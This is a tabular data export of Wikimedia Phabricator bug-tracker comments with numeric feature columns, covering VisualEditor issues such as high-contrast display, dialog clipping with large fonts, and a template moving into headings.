https://gerrit.wikimedia.org/r/97714",,,1386021563,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sflxt54msumq4ifieh2r,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,0.95,"Change 97714 merged by jenkins-bot:
Enable VisualEditor as opt-in on Swedish Wikimedia

GERRIT_URL"
250303,Enable VisualEditor on se.wikimedia.org,"Change 97714 had a related patch set uploaded by Jforrester:
Enable VisualEditor as opt-in on Swedish Wikimedia

https://gerrit.wikimedia.org/r/97714",,,1385464058,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sflxt54msumq4ifieh2r,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,30.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.695652173913044,1.0,"Change 97714 had a related patch set uploaded by Jforrester:
Enable VisualEditor as opt-in on Swedish Wikimedia

GERRIT_URL"
54675,"VisualEditor: In Firefox's High Contrast mode, buttons on the toolbar are unidentifiable","en.wp user Cryptic C62 reports that using Firefox with Windows Vista ""high contrast"" mode renders VE entirely unusable:

""Using Windows Vista, press Shift + Alt + Print Screen to activate ""high contrast"" mode. Open VE in Firefox. Weep uncontrollably (see screenshot).""

Screenshot: [[File:VE High Contrast.jpg]]


It is worth noting that, when using the high contrast extension for Chrome, the interface is fully visible in every setting. Hooray!

--------------------------
**Version**: unspecified
**Severity**: major",Medium,50.0,1376068440,1459916766.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-caadsxn4xg5gmxrpn6kz,False,PHID-TASK-gysdgpu4licxwvxxosg3,task_description,invalid,True,c1,3,False,False,False,5,,1.0,0.0,1.5,0.0,0.0,7.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.5,1.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,0.0,9.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.0,2.0,17.5,2.5,1.0,2.5,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,1.0,4.5,11.5,0.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,2.0,4.053571428571429,0.7142857142857143,"en.wp user Cryptic C62 reports that using Firefox with Windows Vista ""high contrast"" mode renders VE entirely unusable:

""Using Windows Vista, press Shift + Alt + Print Screen to activate ""high contrast"" mode. Open VE in Firefox. Weep uncontrollably (see screenshot).""

Screenshot: [[File:VE High Contrast.jpg]]


It is worth noting that, when using the high contrast extension for Chrome, the interface is fully visible in every setting. Hooray!

--------------------------
**Version**: unspecified
**Severity**: major"
623831,"VisualEditor: In Firefox's High Contrast mode, buttons on the toolbar are unidentifiable",id call this an OS bug...,,,1457161240,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-gysdgpu4licxwvxxosg3,task_subcomment,,True,c1,3,True,,,139,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,id call this an OS bug...
623816,"VisualEditor: In Firefox's High Contrast mode, buttons on the toolbar are unidentifiable","Visual Editor in Windows 7 High Contrast Mode in Firefox 44 {F3524565}

Google.com in Microsoft's very own Internet Explorer 11
{F3524580}

Microsoft.com in IE 11 at High Contrast Mode on Windows 7 
{F3524584}

Given those examples I highly question how many people **are actually able to use //any website with this functionality at all//** in its current implementation?! Seems poorly conceived. 
@Jdforrester-WMF  If nobody is opposing that in a reasonable time frame (30 days?) I'd recommend closing this task as ""invalid"".",,,1457147578,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-gysdgpu4licxwvxxosg3,task_subcomment,,True,c1,3,True,,,139,,0.5,0.0,1.0,0.0,0.0,4.5,1.0,0.0,0.0,1.0,4.5,1.0,0.0,0.0,0.0,1.5,0.0,3.5,10.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,15.5,2.5,0.0,3.0,0.0,0.0,1.0,0.0,2.0,0.0,3.5,0.0,2.5,10.5,12.5,2.0,2.0,0.0,2.5,0.0,0.5,1.0,0.0,2.0,0.0,0.0,0.0,4.081818181818182,0.7909090909090909,"Visual Editor in Windows 7 High Contrast Mode in Firefox 44 {F3524565}

Google.com in Microsoft's very own Internet Explorer 11
{F3524580}

Microsoft.com in IE 11 at High Contrast Mode on Windows 7 
{F3524584}

Given those examples I highly question how many people **are actually able to use //any website with this functionality at all//** in its current implementation?! Seems poorly conceived. SCREEN_NAME-WMF  If nobody is opposing that in a reasonable time frame (30 days?) I'd recommend closing this task as ""invalid""."
54667,VisualEditor: Welcome dialog doesn't expand/scroll to fit large fonts,"When a user has a larger font size than defualt, or a non-default font then the welcome dialog (the one controlled by the ve-beta-welcome-dialog cookie) doesn't expand or scroll to accommodate the extended length of the message and the text is cropped.

Screenshot at [[File:WARNINGforVE.png]]

This might be another example of bug 52602 but I'm not certain.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52602
https://bugzilla.wikimedia.org/show_bug.cgi?id=51755
https://bugzilla.wikimedia.org/show_bug.cgi?id=50885",Medium,50.0,1376041620,1378335744.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-7ix4hqmkcelueduz7hux,task_description,resolved,True,c1,3,False,False,True,5,,0.0,0.0,0.0,0.5,1.5,5.5,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,3.5,4.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,1.5,11.0,0.5,2.5,6.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,1.0,4.0,2.5,0.0,0.0,0.0,1.0,0.0,0.5,1.5,0.0,0.0,0.5,0.0,2.0,3.571428571428571,0.6607142857142857,"When a user has a larger font size than defualt, or a non-default font then the welcome dialog (the one controlled by the ve-beta-welcome-dialog cookie) doesn't expand or scroll to accommodate the extended length of the message and the text is cropped.

Screenshot at [[File:WARNINGforVE.png]]

This might be another example of bug 52602 but I'm not certain.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL
URL
URL"
247560,VisualEditor: Welcome dialog doesn't expand/scroll to fit large fonts,"Change 82466 merged by jenkins-bot:
Improve welcome dialog support for large fonts

https://gerrit.wikimedia.org/r/82466",,,1378335727,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ix4hqmkcelueduz7hux,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,"Change 82466 merged by jenkins-bot:
Improve welcome dialog support for large fonts

GERRIT_URL"
247557,VisualEditor: Welcome dialog doesn't expand/scroll to fit large fonts,"Change 82466 had a related patch set uploaded by Trevor Parscal:
Improve welcome dialog support for large fonts

https://gerrit.wikimedia.org/r/82466",,,1378241684,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ix4hqmkcelueduz7hux,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.863636363636363,1.0,"Change 82466 had a related patch set uploaded by Trevor Parscal:
Improve welcome dialog support for large fonts

GERRIT_URL"
54658,VisualEditor: Template {{-}} can be moved into following heading because it doesn't render,"en.wp user Redrose64 reports:
With this edit: https://en.wikipedia.org/w/index.php?title=Paisley_Gilmour_Street_railway_station&diff=prev&oldid=567709873 ""the {{-}} was moved from the bottom of a section into a heading, effectively yielding the HTML <h3><span class=""mw-headline"" id=""2013"">2013<br style=""clear:both;"" /></span>[edit]</h3> ""

I can reproduce that on that article by:
1. Deleting with backspace the header ""Post-2008"" (and nothing else)
2. Typing ""2013""

I can't reproduce it in my sandbox with {{-}} (or {{clear}}) before a header and then changing the header.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1375989720,1376609977.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-cwptueorc4rxrgvc5shh,task_description,resolved,True,c1,3,False,False,True,5,,0.0,0.0,0.0,0.5,0.5,3.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,2.0,0.0,3.0,5.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,0.5,6.5,0.0,2.0,6.5,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,2.5,5.5,1.5,0.0,5.0,0.0,2.5,0.0,0.0,1.5,0.0,2.5,0.0,0.0,1.5,3.574626865671642,0.6865671641791045,"en.wp user Redrose64 reports:
With this edit: URL ""the {{-}} was moved from the bottom of a section into a heading, effectively yielding the HTML <h3><span class=""mw-headline"" id=""2013"">2013<br style=""clear:both;"" /></span>[edit]</h3> ""

I can reproduce that on that article by:
1. Deleting with backspace the header ""Post-2008"" (and nothing else)
2. Typing ""2013""

I can't reproduce it in my sandbox with {{-}} (or {{clear}}) before a header and then changing the header.

--------------------------
**Version**: unspecified
**Severity**: normal"
246994,VisualEditor: Template {{-}} can be moved into following heading because it doesn't render,"

*** This bug has been marked as a duplicate of bug 49806 ***",,,1376609977,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cwptueorc4rxrgvc5shh,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 49806 ***"
246984,VisualEditor: Template {{-}} can be moved into following heading because it doesn't render,"Because Subbu and Gabriel asked: this is a VE bug, not a Parsoid bug. Unfortunately it's not very clear where the {{-}} template is exactly because it doesn't really produce visible output. So pressing backspace or delete can cause the {{-}} to move to a different paragraph, which may be styled as a heading or restyled by the user to be a heading. And you don't really notice that you're doing this because it's not visible.",,,1376609124,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-cwptueorc4rxrgvc5shh,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,1.0,1.0,5.0,5.0,3.0,3.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,9.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,7.0,1.0,3.0,0.0,2.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,10.0,1.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,5.0,4.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,9.0,3.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,3.65625,0.6354166666666666,"Because Subbu and Gabriel asked: this is a VE bug, not a Parsoid bug. Unfortunately it's not very clear where the {{-}} template is exactly because it doesn't really produce visible output. So pressing backspace or delete can cause the {{-}} to move to a different paragraph, which may be styled as a heading or restyled by the user to be a heading. And you don't really notice that you're doing this because it's not visible."
246975,VisualEditor: Template {{-}} can be moved into following heading because it doesn't render,"Moving to VisualEditor:

[16:19] <RoanKattouw> That looks like a VE issue
[16:20] <RoanKattouw> It's probably because {{-}} doesn't produce any visible output (it outputs a <br> with clear: both;)
[16:20] <RoanKattouw> And so people don't notice when their backspace or delete presses cause the {{-}} to be moved into a different paragraph which they then mark up as a heading",,,1376609113,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cwptueorc4rxrgvc5shh,task_subcomment,,True,c1,3,True,,,6,,1.0,0.0,0.0,1.0,2.0,7.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,5.0,1.0,10.0,2.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,4.0,9.0,5.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,1.0,0.0,0.0,16.0,3.4782608695652173,0.7065217391304348,"Moving to VisualEditor:

[16:19] <RoanKattouw> That looks like a VE issue
[16:20] <RoanKattouw> It's probably because {{-}} doesn't produce any visible output (it outputs a <br> with clear: both;)
[16:20] <RoanKattouw> And so people don't notice when their backspace or delete presses cause the {{-}} to be moved into a different paragraph which they then mark up as a heading"
246968,VisualEditor: Template {{-}} can be moved into following heading because it doesn't render,"I reproduced it - not precisely, but close enough.

I pretended I was a brand new editor, and rather than changing the heading I created a new one, above the old. Then I deleted the old and applied formatting to the new word I typed.

This rendered this: http://en.wikipedia.org/w/index.php?title=User%3AMdennis_%28WMF%29%2Fsandbox&diff=568643085&oldid=568642989

The template moved, but in front of rather than behind the word.

I'm using Chrome.

I tried it again on Firefox, and caught the template again:
https://en.wikipedia.org/w/index.php?title=User%3AMdennis_%28WMF%29%2Fsandbox&diff=568643930&oldid=568643677

I guess that the IP editor may have positioned his cursor slightly differently, but that seems to be the behavior that led to the issue. It seems like potentially an easy decision to make.",,,1376567370,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-cwptueorc4rxrgvc5shh,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.5,3.5,1.5,0.0,0.0,0.0,0.5,1.0,0.0,1.0,0.0,5.5,0.5,7.5,8.5,0.0,1.5,0.0,0.0,0.0,6.5,0.0,0.0,1.5,1.0,0.0,0.0,3.0,1.5,2.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,1.0,1.5,1.0,0.0,0.0,0.0,1.0,1.0,9.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,8.0,1.5,11.0,1.0,3.5,10.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,8.0,8.5,2.5,0.0,0.0,0.0,8.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,3.7300995024875623,0.7069199457259159,"I reproduced it - not precisely, but close enough.

I pretended I was a brand new editor, and rather than changing the heading I created a new one, above the old. Then I deleted the old and applied formatting to the new word I typed.

This rendered this: URL

The template moved, but in front of rather than behind the word.

I'm using Chrome.

I tried it again on Firefox, and caught the template again:
URL

I guess that the IP editor may have positioned his cursor slightly differently, but that seems to be the behavior that led to the issue. It seems like potentially an easy decision to make."
246963,VisualEditor: Template {{-}} can be moved into following heading because it doesn't render,"I agree with your recommendation, Chris.

I think this was a valid bug, but it might have been specific to a particular set of conditions at the time of the bug (cached HTML, what the user was doing, the state that VE was in and the HTML it generated, source wikitext) which we are having a hard time reproducing now.  So, I am going to close this bug for now and we can reopen this or a new one if a similar error shows up.",,,1376407275,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cwptueorc4rxrgvc5shh,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,5.0,1.0,4.0,10.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,1.0,5.0,2.0,2.0,2.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,2.0,2.0,0.0,1.0,1.0,0.0,1.0,13.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,10.0,6.0,8.0,1.0,4.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,10.0,3.0,0.0,0.0,0.0,8.0,0.0,3.0,5.0,0.0,4.0,0.0,0.0,0.0,3.479591836734694,0.6836734693877551,"I agree with your recommendation, Chris.

I think this was a valid bug, but it might have been specific to a particular set of conditions at the time of the bug (cached HTML, what the user was doing, the state that VE was in and the HTML it generated, source wikitext) which we are having a hard time reproducing now.  So, I am going to close this bug for now and we can reopen this or a new one if a similar error shows up."
246959,VisualEditor: Template {{-}} can be moved into following heading because it doesn't render,"Having tried again, I still can't reproduce it. The original edit that caused this was by an anonymous user who hasn't edited since, so we're unlikely to get any more information from them.

Should this be closed (WORKSFORME?) and then just reopened if it happens again in future?",,,1376388286,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-cwptueorc4rxrgvc5shh,task_subcomment,,True,c1,3,False,,,6,,2.0,0.0,0.0,2.0,3.0,7.0,2.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,3.0,0.0,13.0,10.0,0.0,2.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,8.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,10.0,2.0,3.0,0.0,0.0,8.0,0.0,3.0,2.0,2.0,2.0,2.0,0.0,0.0,3.9,0.8833333333333333,"Having tried again, I still can't reproduce it. The original edit that caused this was by an anonymous user who hasn't edited since, so we're unlikely to get any more information from them.

Should this be closed (WORKSFORME?) and then just reopened if it happens again in future?"
246956,VisualEditor: Template {{-}} can be moved into following heading because it doesn't render,"After about 5 minutes trying I can't reproduce this now on either the present or old revisions of that page. I haven't tried again in my sandbox but given the other findings I wouldn't expect it to.

The only change is I'm now running Firefox 23 rather than the 22 I was running when I reported this (and I don't know how to keep separate versions of the same program available at the same time, sorry)",,,1376093134,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-cwptueorc4rxrgvc5shh,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,9.0,0.0,13.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,5.0,2.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,1.0,7.0,2.0,11.0,2.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,10.0,10.0,1.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7701149425287355,0.7701149425287356,"After about 5 minutes trying I can't reproduce this now on either the present or old revisions of that page. I haven't tried again in my sandbox but given the other findings I wouldn't expect it to.

The only change is I'm now running Firefox 23 rather than the 22 I was running when I reported this (and I don't know how to keep separate versions of the same program available at the same time, sorry)"
246950,VisualEditor: Template {{-}} can be moved into following heading because it doesn't render,"Unfortunately, I am having a hard time reproducing the bug now.  And, as you noted, I am not able to copy it to my sandbox and reproduce it either.  This may have been some glitch in how VE might have modified the DOM on editing there.

Can you verify that you can reproduce the error on the latest version or that oldid?  I even added a newline space back in case that matters (since that is what was present in the oldid).",,,1376083679,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cwptueorc4rxrgvc5shh,task_subcomment,,True,c1,3,True,,,5,,1.0,0.0,0.0,1.0,1.0,5.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,1.0,8.0,11.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,1.0,4.0,1.0,2.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,7.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,9.0,4.0,3.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,11.0,3.0,1.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,3.0,0.0,1.0,0.0,3.5833333333333335,0.7083333333333334,"Unfortunately, I am having a hard time reproducing the bug now.  And, as you noted, I am not able to copy it to my sandbox and reproduce it either.  This may have been some glitch in how VE might have modified the DOM on editing there.

Can you verify that you can reproduce the error on the latest version or that oldid?  I even added a newline space back in case that matters (since that is what was present in the oldid)."
54653,VisualEditor: Thai Wikipedia's coordinates template displays badly in tables,"During the edit

This has been noted on the Thai wikipedia.  
See screenshots for how it looks.  

Basically, in edit mode, the sixth column of this table, containing Goehack coordinate links, displays as an HTML string in edit mode. Not only very messy, but it pushes the following columns off the page.

Appears to save normally.

Replicated on current FF, Chrome, on Mac OS and Ubuntu

Page on Thai.wiki: https://th.wikipedia.org/wiki/%E0%B8%A3%E0%B8%B2%E0%B8%A2%E0%B8%8A%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B9%82%E0%B8%9A%E0%B8%A3%E0%B8%B2%E0%B8%93%E0%B8%AA%E0%B8%96%E0%B8%B2%E0%B8%99%E0%B9%83%E0%B8%99%E0%B8%81%E0%B8%A3%E0%B8%B8%E0%B8%87%E0%B9%80%E0%B8%97%E0%B8%9E%E0%B8%A1%E0%B8%AB%E0%B8%B2%E0%B8%99%E0%B8%84%E0%B8%A3_(%E0%B9%80%E0%B8%82%E0%B8%95%E0%B8%9E%E0%B8%A3%E0%B8%B0%E0%B8%99%E0%B8%84%E0%B8%A3_%E0%B8%9B%E0%B9%89%E0%B8%AD%E0%B8%A1%E0%B8%9B%E0%B8%A3%E0%B8%B2%E0%B8%9A%E0%B8%A8%E0%B8%B1%E0%B8%95%E0%B8%A3%E0%B8%B9%E0%B8%9E%E0%B9%88%E0%B8%B2%E0%B8%A2_%E0%B9%81%E0%B8%A5%E0%B8%B0%E0%B8%AA%E0%B8%B1%E0%B8%A1%E0%B8%9E%E0%B8%B1%E0%B8%99%E0%B8%98%E0%B8%A7%E0%B8%87%E0%B8%A8%E0%B9%8C)

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11613}",Medium,50.0,1375975140,1414165021.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-blwhpbgbhchhdkulxgr2,task_description,resolved,True,c1,3,False,False,False,5,,0.0,0.0,0.5,0.5,0.5,3.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.5,3.5,8.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,10.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.5,16.0,0.5,1.5,4.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,8.0,9.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,3.7672413793103448,0.6830800701344243,"During the edit

This has been noted on the Thai wikipedia.  
See screenshots for how it looks.  

Basically, in edit mode, the sixth column of this table, containing Goehack coordinate links, displays as an HTML string in edit mode. Not only very messy, but it pushes the following columns off the page.

Appears to save normally.

Replicated on current FF, Chrome, on Mac OS and Ubuntu

Page on Thai.wiki: URL

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11613}"
